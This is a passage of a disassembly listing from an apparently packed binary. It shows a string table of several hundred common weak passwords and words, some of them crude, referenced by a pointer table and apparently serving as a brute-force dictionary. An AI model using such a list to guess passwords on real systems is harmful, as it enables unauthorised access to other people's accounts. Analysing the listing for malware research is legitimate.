XREF: .nsp0:0042DBCCo align 10h aVenus db 'venus',0 ; DATA XREF: .nsp0:0042DBC8o align 4 aVasant db 'vasant',0 ; DATA XREF: .nsp0:0042DBC4o align 10h aVampire db 'vampire',0 ; DATA XREF: .nsp0:0042DBC0o aValerie db 'valerie',0 aVagina db 'vagina',0 align 4 aUucp db 'uucp',0 align 10h aUtility db 'utility',0 aUtil db 'util',0 align 10h aUsmc db 'usmc',0 align 4 aUsername db 'username',0 align 4 aUsermane db 'usermane',0 align 10h aUsenet db 'usenet',0 align 4 aUrsula db 'ursula',0 align 10h aUrchin db 'urchin',0 align 4 aUranus db 'uranus',0 align 10h aUpload db 'upload',0 align 4 aUnlock db 'unlock',0 align 10h aUnknown_0 db 'unknown',0 aUniversi db 'universi',0 align 4 aUniverse db 'universe',0 align 10h aUniversa db 'universa',0 align 4 aUniform db 'uniform',0 aUnicorn db 'unicorn',0 aUnhappy db 'unhappy',0 aUndo db 'undo',0 align 4 aUncle db 'uncle',0 align 4 aUmesh db 'umesh',0 align 4 aUgly db 'ugly',0 align 4 aTuttle db 'tuttle',0 align 4 aTurn db 'turn',0 align 4 aTuesday db 'tuesday',0 aTubas db 'tubas',0 align 4 aTruth db 'truth',0 align 4 aTrue db 'true',0 align 4 aTron db 'tron',0 align 4 aTrombone db 'trombone',0 align 4 aTrojan db 'trojan',0 align 10h aTrivial db 'trivial',0 aTrisha db 'trisha',0 align 10h aTrek db 'trek',0 align 4 aTree db 'tree',0 align 10h aTrapdoor db 'trapdoor',0 align 4 aTrap db 'trap',0 align 4 aTransfer db 'transfer',0 align 10h aTrails db 'trails',0 align 4 aTracy db 'tracy',0 align 10h aTracie db 'tracie',0 align 4 aTraci db 'traci',0 align 10h aToyota_0 db 'toyota',0 ; DATA XREF: .nsp0:0042E418o align 4 aToxic db 'toxic',0 align 10h aTortoise db 'tortoise',0 align 4 aTopograp db 'topograp',0 align 4 aTomato db 'tomato',0 align 10h aTokenrin db 'tokenrin',0 align 4 aToken db 'token',0 align 4 aToggle db 'toggle',0 align 4 aToad db 'toad',0 align 4 aTits db 'tits',0 align 4 aTina db 'tina',0 align 4 aTime db 'time',0 align 4 aTiger db 'tiger',0 ; DATA XREF: .nsp0:0042E40Co align 4 aTiffany db 'tiffany',0 aThursday db 'thursday',0 align 4 aThin db 'thin',0 align 10h aTheresa db 'theresa',0 aThailand db 'thailand',0 align 4 aText db 'text',0 align 4 aTetris db 'tetris',0 align 4 aTess db 'tess',0 align 4 aTerminat db 'terminat',0 align 4 aTerminal db 'terminal',0 align 4 aTera db 'tera',0 align 4 aTennis db 'tennis',0 align 4 aTemptati db 'temptati',0 align 10h aTelnet db 'telnet',0 ; DATA XREF: .nsp0:0042DAA0o align 4 aTelephon db 'telephon',0 ; DATA XREF: .nsp0:0042DA9Co align 4 aTeenage db 'teenage',0 ; DATA XREF: .nsp0:0042DA98o aTeen db 'teen',0 ; DATA XREF: .nsp0:0042DA94o align 4 aTech db 'tech',0 ; DATA XREF: .nsp0:0042DA90o align 4 aTears db 'tears',0 ; DATA XREF: .nsp0:0042DA8Co align 4 aTeapot db 'teapot',0 ; DATA XREF: .nsp0:0042DA88o align 4 aTeam db 'team',0 ; DATA XREF: .nsp0:0042DA84o align 4 aTaylor db 'taylor',0 ; DATA XREF: .nsp0:0042DA7Co align 4 aTarragon db 'tarragon',0 ; DATA XREF: .nsp0:0042DA78o align 4 aTarget db 'target',0 ; DATA XREF: .nsp0:0042DA74o align 10h aTara db 'tara',0 ; DATA XREF: .nsp0:0042DA70o align 4 aTape db 'tape',0 ; DATA XREF: .nsp0:0042DA6Co align 10h aTango db 'tango',0 ; DATA XREF: .nsp0:0042DA68o align 4 aTangerin db 'tangerin',0 ; DATA XREF: .nsp0:0042DA64o align 4 aTammy db 'tammy',0 ; DATA XREF: .nsp0:0042DA60o align 4 aTamie db 'tamie',0 ; DATA XREF: .nsp0:0042DA5Co align 4 aTami db 'tami',0 ; DATA XREF: .nsp0:0042DA58o align 4 aTamara db 'tamara',0 ; DATA XREF: .nsp0:0042DA54o align 4 aTall db 'tall',0 ; DATA XREF: .nsp0:0042DA50o align 4 aTalk db 'talk',0 ; DATA XREF: .nsp0:0042DA4Co align 4 aTabasco db 'tabasco',0 ; DATA XREF: .nsp0:0042DA48o aSysop db 'sysop',0 ; DATA XREF: .nsp0:0042DA44o align 4 aSymmetry db 'symmetry',0 ; DATA XREF: .nsp0:0042DA3Co align 10h aSybil db 'sybil',0 ; DATA XREF: .nsp0:0042DA38o align 4 aSword db 'sword',0 ; DATA XREF: .nsp0:0042DA34o align 10h aSwitch db 'switch',0 ; DATA XREF: .nsp0:0042DA30o align 4 aSweat db 'sweat',0 ; DATA XREF: .nsp0:0042DA2Co align 10h aSwearer db 'swearer',0 ; DATA XREF: .nsp0:0042DA28o aSuzie db 'suzie',0 ; DATA XREF: .nsp0:0042DA24o align 10h aSuzanne db 'suzanne',0 ; DATA XREF: .nsp0:0042DA20o aSusie db 'susie',0 ; DATA XREF: .nsp0:0042DA1Co align 10h aSusanne db 'susanne',0 ; DATA XREF: .nsp0:0042DA18o aSusan db 'susan',0 ; DATA XREF: .nsp0:0042DA14o align 10h aSurfing db 'surfing',0 ; DATA XREF: .nsp0:0042DA10o aSurfer db 'surfer',0 ; DATA XREF: .nsp0:0042DA0Co align 10h aSupporte db 'supporte',0 ; DATA XREF: .nsp0:0042DA08o align 4 aSupport db 'support',0 ; DATA XREF: .nsp0:0042DA04o aSupervis db 'supervis',0 ; DATA XREF: .nsp0:0042DA00o align 10h aSuperuse db 'superuse',0 ; DATA XREF: .nsp0:0042D9FCo align 4 aSupersta db 'supersta',0 ; DATA XREF: .nsp0:0042D9F8o align 4 aSuperson db 'superson',0 ; DATA XREF: .nsp0:0042D9F4o align 4 aSuperman db 'superman',0 ; DATA XREF: .nsp0:0042D9F0o align 10h aSunday db 'sunday',0 ; DATA XREF: .nsp0:004226E0o ; .nsp0:0042D9ECo align 4 aSummer db 'summer',0 ; DATA XREF: .nsp0:0042D9E8o align 10h aSucks db 'sucks',0 ; DATA XREF: .nsp0:0042D9E4o align 4 aSuckmydi db 'suckmydi',0 ; DATA XREF: .nsp0:0042D9E0o align 4 aSuck db 'suck',0 ; DATA XREF: .nsp0:0042D9DCo align 4 aSuccess db 'success',0 ; DATA XREF: .nsp0:0042D9D8o aSubway db 'subway',0 ; DATA XREF: .nsp0:0042D9D4o align 4 aSubscrib db 'subscrib',0 ; DATA XREF: .nsp0:0042D9D0o align 4 aStuttgar db 'stuttgar',0 ; DATA XREF: .nsp0:0042D9CCo ; .nsp0:00425600o align 4 aStrip db 'strip',0 ; DATA XREF: .nsp0:0042D9C4o align 4 aString db 'string',0 ; DATA XREF: .nsp0:off_42549Co ; .nsp0:0042D9C0o align 4 aStreetfi db 'streetfi',0 ; DATA XREF: .nsp0:0042D9BCo align 10h aStratfor db 'stratfor',0 ; DATA XREF: .nsp0:0042D9B8o align 4 aStrangle db 'strangle',0 ; DATA XREF: .nsp0:0042D9B4o align 4 aStrange db 'strange',0 ; DATA XREF: .nsp0:0042D9B0o aStones db 'stones',0 ; DATA XREF: .nsp0:0042D9ACo align 4 aStoned db 'stoned',0 ; DATA XREF: .nsp0:0042D9A8o align 10h aStoneage db 'stoneage',0 ; DATA XREF: .nsp0:0042D9A4o align 4 aSteve db 'steve',0 ; DATA XREF: .nsp0:0042D9A0o align 4 aStereo db 'stereo',0 ; DATA XREF: .nsp0:0042D99Co align 4 aStephani db 'stephani',0 ; DATA XREF: .nsp0:0042D998o align 4 aSteph db 'steph',0 ; DATA XREF: .nsp0:0042D994o align 10h aSteel db 'steel',0 ; DATA XREF: .nsp0:0042D990o align 4 aSteal db 'steal',0 ; DATA XREF: .nsp0:0042D98Co align 10h aSteak db 'steak',0 ; DATA XREF: .nsp0:0042D988o align 4 aStarwars db 'starwars',0 ; DATA XREF: .nsp0:0042D984o align 4 aStartup db 'startup',0 ; DATA XREF: .nsp0:0042D980o aStartrek db 'startrek',0 ; DATA XREF: .nsp0:0042D97Co align 4 aStart db 'start',0 ; DATA XREF: sub_40CE55+1EF2o ; .nsp0:0042D978o align 10h aStarship db 'starship',0 ; DATA XREF: .nsp0:0042D974o align 4 aStar db 'star',0 ; DATA XREF: .nsp0:0042D970o align 4 aStacy db 'stacy',0 ; DATA XREF: .nsp0:0042D96Co align 4 aStacie db 'stacie',0 ; DATA XREF: .nsp0:0042D968o align 4 aStaci db 'staci',0 ; DATA XREF: .nsp0:0042D964o align 4 aStacey db 'stacey',0 ; DATA XREF: .nsp0:0042D960o align 4 aSr71 db 'sr71',0 ; DATA XREF: .nsp0:0042D95Co align 4 aSquires db 'squires',0 ; DATA XREF: .nsp0:0042D958o aSpunk db 'spunk',0 ; DATA XREF: .nsp0:0042D954o align 4 aSpringer db 'springer',0 ; DATA XREF: .nsp0:0042D950o align 4 aSpring db 'spring',0 ; DATA XREF: .nsp0:0042D94Co align 10h aSpred db 'spred',0 ; DATA XREF: .nsp0:0042D948o align 4 aSpit db 'spit',0 ; DATA XREF: .nsp0:0042D944o align 10h aSpiderma db 'spiderma',0 ; DATA XREF: .nsp0:0042D940o align 4 aSpider db 'spider',0 ; DATA XREF: .nsp0:0042D93Co align 4 aSpice db 'spice',0 ; DATA XREF: .nsp0:0042D938o align 4 aSpell db 'spell',0 ; DATA XREF: .nsp0:0042D934o align 4 aSpear db 'spear',0 ; DATA XREF: .nsp0:0042D930o align 4 aSparrows db 'sparrows',0 ; DATA XREF: .nsp0:0042D92Co align 4 aSpaceshi db 'spaceshi',0 ; DATA XREF: .nsp0:0042D928o align 4 aSouth db 'south',0 ; DATA XREF: .nsp0:0042D924o align 4 aSource db 'source',0 ; DATA XREF: .nsp0:0042D920o align 4 aSossina db 'sossina',0 ; DATA XREF: .nsp0:0042D91Co aSonya db 'sonya',0 ; DATA XREF: .nsp0:0042D918o align 4 aSonic db 'sonic',0 ; DATA XREF: .nsp0:0042D914o align 4 aSonia db 'sonia',0 ; DATA XREF: .nsp0:0042D910o align 4 aSondra db 'sondra',0 ; DATA XREF: .nsp0:0042D90Co align 4 aSomebody db 'somebody',0 ; DATA XREF: .nsp0:0042D908o align 4 aSoftware db 'software',0 ; DATA XREF: .nsp0:0042D904o align 4 aSoft db 'soft',0 ; DATA XREF: .nsp0:0042D900o align 4 aSodomy db 'sodomy',0 ; DATA XREF: .nsp0:0042D8FCo align 4 aSocrates db 'socrates',0 ; DATA XREF: .nsp0:0042D8F8o align 10h aSocial db 'social',0 ; DATA XREF: .nsp0:0042D8F4o align 4 aSoap db 'soap',0 ; DATA XREF: .nsp0:0042D8F0o align 10h aSnoopy db 'snoopy',0 ; DATA XREF: .nsp0:0042D8ECo align 4 aSnatch db 'snatch',0 ; DATA XREF: .nsp0:0042D8E8o align 10h aSnake db 'snake',0 ; DATA XREF: .nsp0:0042D8E4o align 4 aSnafu db 'snafu',0 ; DATA XREF: .nsp0:0042D8E0o align 10h aSnach db 'snach',0 ; DATA XREF: .nsp0:0042D8DCo align 4 aSmut db 'smut',0 ; DATA XREF: .nsp0:0042D8D8o align 10h aSmtp db 'smtp',0 ; DATA XREF: .nsp0:0042D8D4o align 4 aSmother db 'smother',0 ; DATA XREF: .nsp0:0042D8D0o aSmooch db 'smooch',0 ; DATA XREF: .nsp0:0042D8CCo align 4 aSmiles db 'smiles',0 ; DATA XREF: .nsp0:0042D8C8o align 10h aSmile db 'smile',0 ; DATA XREF: .nsp0:0042D8C4o align 4 aSmart db 'smart',0 ; DATA XREF: .nsp0:0042D8C0o align 10h aSmall db 'small',0 ; DATA XREF: .nsp0:0042D8BCo align 4 aSlut db 'slut',0 ; DATA XREF: .nsp0:0042D8B8o align 10h aSlow db 'slow',0 ; DATA XREF: .nsp0:0042D8B4o align 4 aSliders db 'sliders',0 ; DATA XREF: .nsp0:0042D8B0o aSlick db 'slick',0 ; DATA XREF: .nsp0:0042D8ACo align 4 aSlave db 'slave',0 ; DATA XREF: .nsp0:0042D8A8o align 10h aSkull db 'skull',0 ; DATA XREF: .nsp0:0042D8A4o align 4 aSite db 'site',0 ; DATA XREF: .nsp0:0042D8A0o align 10h aSingle db 'single',0 ; DATA XREF: .nsp0:0042D89Co align 4 aSinger db 'singer',0 ; DATA XREF: .nsp0:0042D898o align 10h aSimulati db 'simulati',0 ; DATA XREF: .nsp0:0042D894o align 4 aSimpsons db 'simpsons',0 ; DATA XREF: .nsp0:0042D890o align 4 aSimple db 'simple',0 ; DATA XREF: .nsp0:0042D88Co align 10h aSimon db 'simon',0 ; DATA XREF: .nsp0:0042D888o align 4 aSimcity db 'simcity',0 ; DATA XREF: .nsp0:0042D884o aSilver db 'silver',0 ; DATA XREF: .nsp0:0042D880o align 4 aSignatur db 'signatur',0 ; DATA XREF: .nsp0:0042D87Co align 4 aSierra db 'sierra',0 ; DATA XREF: .nsp0:0042D878o align 4 aSick db 'sick',0 ; DATA XREF: .nsp0:0042D874o align 4 aShuttle db 'shuttle',0 ; DATA XREF: .nsp0:0042D870o aShort db 'short',0 ; DATA XREF: .nsp0:0042D86Co align 4 aShivers db 'shivers',0 ; DATA XREF: .nsp0:0042D868o aShiva db 'shiva',0 ; DATA XREF: .nsp0:0042D864o align 4 aShitpot db 'shitpot',0 ; DATA XREF: .nsp0:0042D860o aShit db 'shit',0 ; DATA XREF: .nsp0:0042D85Co align 4 aShirley db 'shirley',0 ; DATA XREF: .nsp0:0042D858o aShift db 'shift',0 ; DATA XREF: .nsp0:0042D854o align 4 aSherri db 'sherri',0 ; DATA XREF: .nsp0:0042D850o align 4 aShell db 'shell',0 ; DATA XREF: .nsp0:0042D84Co align 4 aSheldon db 'sheldon',0 ; DATA XREF: .nsp0:0042D848o aSheffiel db 'sheffiel',0 ; DATA XREF: .nsp0:0042D844o align 4 aSharon db 'sharon',0 ; DATA XREF: .nsp0:0042D840o align 10h aSharks db 'sharks',0 ; DATA XREF: .nsp0:0042D83Co align 4 aShark db 'shark',0 ; DATA XREF: .nsp0:0042D838o align 10h aSharc db 'sharc',0 ; DATA XREF: .nsp0:0042D834o align 4 aShannon db 'shannon',0 ; DATA XREF: .nsp0:0042D830o aSexy db 'sexy',0 ; DATA XREF: .nsp0:0042D82Co align 4 aSesame db 'sesame',0 ; DATA XREF: .nsp0:0042D828o align 10h aService db 'service',0 ; DATA XREF: .nsp0:0042D824o ; .nsp0:0042E3ECo aSerial_0 db 'serial',0 ; DATA XREF: .nsp0:0042D820o align 10h aSerenity db 'serenity',0 ; DATA XREF: .nsp0:0042D81Co align 4 aSentry db 'sentry',0 ; DATA XREF: .nsp0:0042D818o align 4 aSentinel db 'sentinel',0 ; DATA XREF: .nsp0:0042D814o align 10h aSensor db 'sensor',0 ; DATA XREF: .nsp0:0042D810o align 4 aSega db 'sega',0 ; DATA XREF: .nsp0:0042D80Co align 10h aSeed db 'seed',0 ; DATA XREF: .nsp0:0042D808o align 4 aSecurity db 'security',0 ; DATA XREF: .nsp0:0042D804o align 4 aSearch db 'search',0 ; DATA XREF: .nsp0:0042D800o align 4 aScout db 'scout',0 ; DATA XREF: .nsp0:0042D7FCo align 4 aScotty db 'scotty',0 ; DATA XREF: .nsp0:0042D7F8o align 4 aScott db 'scott',0 ; DATA XREF: .nsp0:0042D7F4o align 4 aScorpion db 'scorpion',0 ; DATA XREF: .nsp0:0042D7F0o align 10h aScifi db 'scifi',0 ; DATA XREF: .nsp0:0042D7ECo align 4 aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .nsp0:0042D7E8o aSchool db 'school',0 ; DATA XREF: .nsp0:0042D7E4o align 4 aScheme db 'scheme',0 ; DATA XREF: .nsp0:0042D7E0o align 4 aScamper db 'scamper',0 ; DATA XREF: .nsp0:0042D7DCo aSaxon db 'saxon',0 ; DATA XREF: .nsp0:0042D7D8o align 4 aSaturn db 'saturn',0 ; DATA XREF: .nsp0:0042D7D4o align 4 aSaturday db 'saturday',0 ; DATA XREF: .nsp0:0042D7D0o align 4 aSarah db 'sarah',0 ; DATA XREF: .nsp0:0042D7CCo align 10h aSara db 'sara',0 ; DATA XREF: .nsp0:0042D7C8o align 4 aSandy db 'sandy',0 ; DATA XREF: .nsp0:0042D7C4o align 10h aSandra db 'sandra',0 ; DATA XREF: .nsp0:0042D7C0o align 4 aSample db 'sample',0 ; DATA XREF: .nsp0:0042D7BCo align 10h aSamantha db 'samantha',0 ; DATA XREF: .nsp0:0042D7B8o align 4 aSalt db 'salt',0 ; DATA XREF: .nsp0:0042D7B4o align 4 aSale db 'sale',0 ; DATA XREF: .nsp0:0042D7B0o align 4 aSalami db 'salami',0 ; DATA XREF: .nsp0:0042D7ACo align 4 aSafe db 'safe',0 ; DATA XREF: .nsp0:0042D7A8o align 4 aRuth db 'ruth',0 ; DATA XREF: .nsp0:0042D7A4o align 4 aRush db 'rush',0 ; DATA XREF: .nsp0:0042D7A0o align 4 aRunning db 'running',0 ; DATA XREF: .nsp0:0042D79Co aRules db 'rules',0 ; DATA XREF: .nsp0:0042D798o align 4 aRude db 'rude',0 ; DATA XREF: .nsp0:0042D794o align 4 aRuby db 'ruby',0 ; DATA XREF: .nsp0:0042D790o align 4 aRuben db 'ruben',0 ; DATA XREF: .nsp0:0042D78Co align 4 aRubber db 'rubber',0 ; DATA XREF: .nsp0:0042D788o align 4 aRough db 'rough',0 ; DATA XREF: .nsp0:0042D784o align 4 aRoses db 'roses',0 ; DATA XREF: .nsp0:0042D780o align 4 aRosemary db 'rosemary',0 ; DATA XREF: .nsp0:0042D77Co align 4 aRosebud db 'rosebud',0 ; DATA XREF: .nsp0:0042D778o aRose db 'rose',0 ; DATA XREF: .nsp0:0042D774o align 4 aRonald db 'ronald',0 ; DATA XREF: .nsp0:0042D770o align 10h aRomulan db 'romulan',0 ; DATA XREF: .nsp0:0042D76Co aRomeo db 'romeo',0 ; DATA XREF: .nsp0:0042D768o align 10h aRomano db 'romano',0 ; DATA XREF: .nsp0:0042D764o align 4 aRolex db 'rolex',0 ; DATA XREF: .nsp0:0042D760o align 10h aRodent db 'rodent',0 ; DATA XREF: .nsp0:0042D75Co align 4 aRockyhor db 'rockyhor',0 ; DATA XREF: .nsp0:0042D758o align 4 aRocky db 'rocky',0 ; DATA XREF: .nsp0:0042D754o align 4 aRock db 'rock',0 ; DATA XREF: .nsp0:0042D750o align 4 aRocheste db 'rocheste',0 ; DATA XREF: .nsp0:0042D74Co align 10h aRochelle db 'rochelle',0 ; DATA XREF: .nsp0:0042D748o align 4 aRobyn db 'robyn',0 ; DATA XREF: .nsp0:0042D744o align 4 aRobotics db 'robotics',0 ; DATA XREF: .nsp0:0042D740o align 10h aRobot db 'robot',0 ; DATA XREF: .nsp0:0042D73Co align 4 aRobin db 'robin',0 ; DATA XREF: .nsp0:0042D738o align 10h aRobert db 'robert',0 ; DATA XREF: .nsp0:0042D734o align 4 aRoach db 'roach',0 ; DATA XREF: .nsp0:0042D730o align 10h aRisc db 'risc',0 ; DATA XREF: .nsp0:0042D72Co align 4 aRipple db 'ripple',0 ; DATA XREF: .nsp0:0042D728o align 10h aRiot db 'riot',0 ; DATA XREF: .nsp0:0042D724o align 4 aRing db 'ring',0 ; DATA XREF: .nsp0:0042D720o align 10h aRightwin db 'rightwin',0 ; DATA XREF: .nsp0:0042D71Co align 4 aRight db 'right',0 ; DATA XREF: .nsp0:0042D718o align 4 aRiffraff db 'riffraff',0 ; DATA XREF: .nsp0:0042D714o align 10h aRick db 'rick',0 ; DATA XREF: .nsp0:0042D710o align 4 aRich db 'rich',0 ; DATA XREF: .nsp0:0042D70Co align 10h aRhino db 'rhino',0 ; DATA XREF: .nsp0:0042D708o align 4 aReveal db 'reveal',0 ; DATA XREF: .nsp0:0042D704o align 10h aResistan db 'resistan',0 ; DATA XREF: .nsp0:0042D700o align 4 aRepublic db 'republic',0 ; DATA XREF: .nsp0:0042D6FCo align 4 aReport db 'report',0 ; DATA XREF: .nsp0:0042D6F8o align 10h aRent db 'rent',0 ; DATA XREF: .nsp0:0042D6F4o align 4 aReno db 'reno',0 ; DATA XREF: .nsp0:0042D6F0o align 10h aRenee db 'renee',0 ; DATA XREF: .nsp0:0042D6ECo align 4 aRemote db 'remote',0 ; DATA XREF: .nsp0:0042D6E8o align 10h aRelease db 'release',0 ; DATA XREF: .nsp0:0042D6E4o aRegional db 'regional',0 ; DATA XREF: .nsp0:0042D6E0o align 4 aReferenc db 'referenc',0 ; DATA XREF: .nsp0:0042D6DCo align 10h aRedhead db 'redhead',0 ; DATA XREF: .nsp0:0042D6D8o aReddawn db 'reddawn',0 ; DATA XREF: .nsp0:0042D6D4o aRecord db 'record',0 ; DATA XREF: .nsp0:0042D6D0o align 4 aRebel db 'rebel',0 ; DATA XREF: .nsp0:0042D6CCo align 10h aRebecca db 'rebecca',0 ; DATA XREF: .nsp0:0042D6C8o aRebal db 'rebal',0 ; DATA XREF: .nsp0:0042D6C4o align 10h aReaper db 'reaper',0 ; DATA XREF: .nsp0:0042D6C0o align 4 aReam db 'ream',0 ; DATA XREF: .nsp0:0042D6BCo align 10h aReally db 'really',0 ; DATA XREF: .nsp0:0042D6B8o align 4 aReality db 'reality',0 ; DATA XREF: .nsp0:0042D6B4o aReagan db 'reagan',0 ; DATA XREF: .nsp0:0042D6B0o align 4 aRazor db 'razor',0 ; DATA XREF: .nsp0:0042D6ACo align 10h aRascal db 'rascal',0 ; DATA XREF: .nsp0:0042D6A8o align 4 aRape db 'rape',0 ; DATA XREF: .nsp0:0042D6A4o align 10h aRaleigh db 'raleigh',0 ; DATA XREF: .nsp0:0042D69Co aRaindrop db 'raindrop',0 ; DATA XREF: .nsp0:0042D698o align 4 aRainbow db 'rainbow',0 ; DATA XREF: .nsp0:0042D694o aRain db 'rain',0 ; DATA XREF: .nsp0:0042D690o align 4 aRaid db 'raid',0 ; DATA XREF: .nsp0:0042D68Co align 4 aRachmani db 'rachmani',0 ; DATA XREF: .nsp0:0042D688o align 4 aRachelle db 'rachelle',0 ; DATA XREF: .nsp0:0042D684o align 4 aRachel db 'rachel',0 ; DATA XREF: .nsp0:0042D680o align 4 aRabbit db 'rabbit',0 ; DATA XREF: .nsp0:0042D67Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: .nsp0:0042D678o ; .nsp0:0042E3D0o align 4 aQwert db 'qwert',0 ; DATA XREF: .nsp0:0042D674o ; .nsp0:0042E3CCo align 4 aQuebec db 'quebec',0 ; DATA XREF: .nsp0:0042D670o align 4 aPussy db 'pussy',0 ; DATA XREF: .nsp0:0042D66Co align 4 aPuppet db 'puppet',0 ; DATA XREF: .nsp0:0042D668o align 4 aPunk db 'punk',0 ; DATA XREF: .nsp0:0042D664o align 4 aPunisher db 'punisher',0 ; DATA XREF: .nsp0:0042D660o align 10h aPuneet db 'puneet',0 ; DATA XREF: .nsp0:0042D65Co align 4 aPumpkin db 'pumpkin',0 ; DATA XREF: .nsp0:0042D658o aPuke db 'puke',0 ; DATA XREF: .nsp0:0042D654o align 4 aPuck db 'puck',0 ; DATA XREF: .nsp0:0042D650o align 10h aPublic db 'public',0 ; DATA XREF: .nsp0:0042D64Co align 4 aPsychopa db 'psychopa',0 ; DATA XREF: .nsp0:0042D648o align 4 aPsycho db 'psycho',0 ; DATA XREF: .nsp0:0042D644o align 4 aProtozoa db 'protozoa',0 ; DATA XREF: .nsp0:0042D640o align 4 aProtect db 'protect',0 ; DATA XREF: .nsp0:0042D63Co aPrompt db 'prompt',0 ; DATA XREF: .nsp0:0042D638o align 4 aProgram db 'program',0 ; DATA XREF: .nsp0:0042D634o aProfile db 'profile',0 ; DATA XREF: .nsp0:0042D630o aProfesso db 'professo',0 ; DATA XREF: .nsp0:0042D62Co align 4 aProcesso db 'processo',0 ; DATA XREF: .nsp0:0042D628o align 10h aProceed db 'proceed',0 ; DATA XREF: .nsp0:0042D624o aPrivs db 'privs',0 ; DATA XREF: .nsp0:0042D620o align 10h aPrivate db 'private',0 ; DATA XREF: .nsp0:0042D61Co aPriv db 'priv',0 ; DATA XREF: .nsp0:0042D618o align 10h aPrinter db 'printer',0 ; DATA XREF: .nsp0:0042D614o aPrinceto db 'princeto',0 ; DATA XREF: .nsp0:0042D610o align 4 aPrince db 'prince',0 ; DATA XREF: .nsp0:0042D60Co align 4 aPresto db 'presto',0 ; DATA XREF: .nsp0:0042D608o align 4 aPrelude db 'prelude',0 ; DATA XREF: .nsp0:0042D604o aPrecious db 'precious',0 ; DATA XREF: .nsp0:0042D600o align 4 aPraise db 'praise',0 ; DATA XREF: .nsp0:0042D5FCo align 10h aPower db 'power',0 ; DATA XREF: .nsp0:0042D5F8o align 4 aPoster db 'poster',0 ; DATA XREF: .nsp0:0042D5F4o align 10h aPost db 'post',0 ; DATA XREF: .nsp0:0042D5F0o align 4 aPorsche db 'porsche',0 ; DATA XREF: .nsp0:0042D5ECo aPorno db 'porno',0 ; DATA XREF: .nsp0:0042D5E8o align 4 aPorn db 'porn',0 ; DATA XREF: .nsp0:0042D5E4o align 10h aPork db 'pork',0 ; DATA XREF: .nsp0:0042D5E0o align 4 aPoor db 'poor',0 ; DATA XREF: .nsp0:0042D5DCo align 10h aPoop db 'poop',0 ; DATA XREF: .nsp0:0042D5D8o align 4 aPonderin db 'ponderin',0 ; DATA XREF: .nsp0:0042D5D4o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: .nsp0:0042D5D0o align 10h aPolly db 'polly',0 ; DATA XREF: .nsp0:0042D5CCo align 4 aPolice db 'police',0 ; DATA XREF: .nsp0:0042D5C8o align 10h aPoetry db 'poetry',0 ; DATA XREF: .nsp0:0042D5C4o align 4 aPlymouth db 'plymouth',0 ; DATA XREF: .nsp0:0042D5C0o align 4 aPluto db 'pluto',0 ; DATA XREF: .nsp0:0042D5BCo align 4 aPlover db 'plover',0 ; DATA XREF: .nsp0:0042D5B8o align 4 aPlayboy db 'playboy',0 ; DATA XREF: .nsp0:0042D5B4o aPlane db 'plane',0 ; DATA XREF: .nsp0:0042D5B0o align 4 aPizza db 'pizza',0 ; DATA XREF: .nsp0:0042D5ACo align 4 aPiss db 'piss',0 ; DATA XREF: .nsp0:0042D5A8o align 4 aPinname db 'pinname',0 ; DATA XREF: .nsp0:0042D5A4o aPimp db 'pimp',0 ; DATA XREF: .nsp0:0042D5A0o align 4 aPierre db 'pierre',0 ; DATA XREF: .nsp0:0042D59Co align 4 aPick db 'pick',0 ; DATA XREF: .nsp0:0042D598o align 4 aPhuck db 'phuck',0 ; DATA XREF: .nsp0:0042D594o align 4 aPhreak db 'phreak',0 ; DATA XREF: .nsp0:0042D590o align 4 aPhrase db 'phrase',0 ; DATA XREF: .nsp0:0042D58Co align 4 aPhrack db 'phrack',0 ; DATA XREF: .nsp0:0042D588o align 4 aPhoton db 'photon',0 ; DATA XREF: .nsp0:0042D584o align 4 aPhone db 'phone',0 ; DATA XREF: .nsp0:0042D580o align 4 aPhoenix db 'phoenix',0 ; DATA XREF: .nsp0:0042D57Co aPhilip db 'philip',0 ; DATA XREF: .nsp0:0042D578o align 4 aPhil db 'phil',0 ; DATA XREF: .nsp0:0042D574o align 4 aPeter db 'peter',0 ; DATA XREF: .nsp0:0042D570o align 4 aPete db 'pete',0 ; DATA XREF: .nsp0:0042D56Co align 4 aPervert db 'pervert',0 ; DATA XREF: .nsp0:0042D568o aPersona db 'persona',0 ; DATA XREF: .nsp0:0042D564o aPersimmo db 'persimmo',0 ; DATA XREF: .nsp0:0042D560o align 4 aPermit db 'permit',0 ; DATA XREF: .nsp0:0042D55Co align 10h aPerfect db 'perfect',0 ; DATA XREF: .nsp0:0042D558o aPercolat db 'percolat',0 ; DATA XREF: .nsp0:0042D554o align 4 aPepper db 'pepper',0 ; DATA XREF: .nsp0:0042D550o align 4 aPeoria db 'peoria',0 ; DATA XREF: .nsp0:0042D54Co align 4 aPentium db 'pentium',0 ; DATA XREF: .nsp0:0042D548o aPenthous db 'penthous',0 ; DATA XREF: .nsp0:0042D544o align 4 aPentagra db 'pentagra',0 ; DATA XREF: .nsp0:0042D540o align 4 aPentagon db 'pentagon',0 ; DATA XREF: .nsp0:0042D53Co align 10h aPenname db 'penname',0 ; DATA XREF: .nsp0:0042D538o aPenis db 'penis',0 ; DATA XREF: .nsp0:0042D534o align 10h aPenguin db 'penguin',0 ; DATA XREF: .nsp0:0042D530o aPenelope db 'penelope',0 ; DATA XREF: .nsp0:0042D52Co align 4 aPencil db 'pencil',0 ; DATA XREF: .nsp0:0042D528o align 4 aPecker db 'pecker',0 ; DATA XREF: .nsp0:0042D524o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: .nsp0:0042D520o aPaula db 'paula',0 ; DATA XREF: .nsp0:0042D51Co align 4 aPatty db 'patty',0 ; DATA XREF: .nsp0:0042D518o align 4 aPatriot db 'patriot',0 ; DATA XREF: .nsp0:0042D514o aPatricia db 'patricia',0 ; DATA XREF: .nsp0:0042D510o align 10h aPaste db 'paste',0 ; DATA XREF: .nsp0:0042D50Co align 4 aPassphra db 'passphra',0 ; DATA XREF: .nsp0:0042D508o align 4 aPascal db 'pascal',0 ; DATA XREF: .nsp0:0042D504o align 4 aPapers db 'papers',0 ; DATA XREF: .nsp0:0042D500o align 4 aPaper db 'paper',0 ; DATA XREF: .nsp0:0042D4FCo align 4 aPapa db 'papa',0 ; DATA XREF: .nsp0:0042D4F8o align 4 aPamela db 'pamela',0 ; DATA XREF: .nsp0:0042D4F4o align 4 aPakistan db 'pakistan',0 ; DATA XREF: .nsp0:0042D4F0o align 4 aPaint db 'paint',0 ; DATA XREF: .nsp0:0042D4ECo align 10h aPainless db 'painless',0 ; DATA XREF: .nsp0:0042D4E8o align 4 aPacker db 'packer',0 ; DATA XREF: 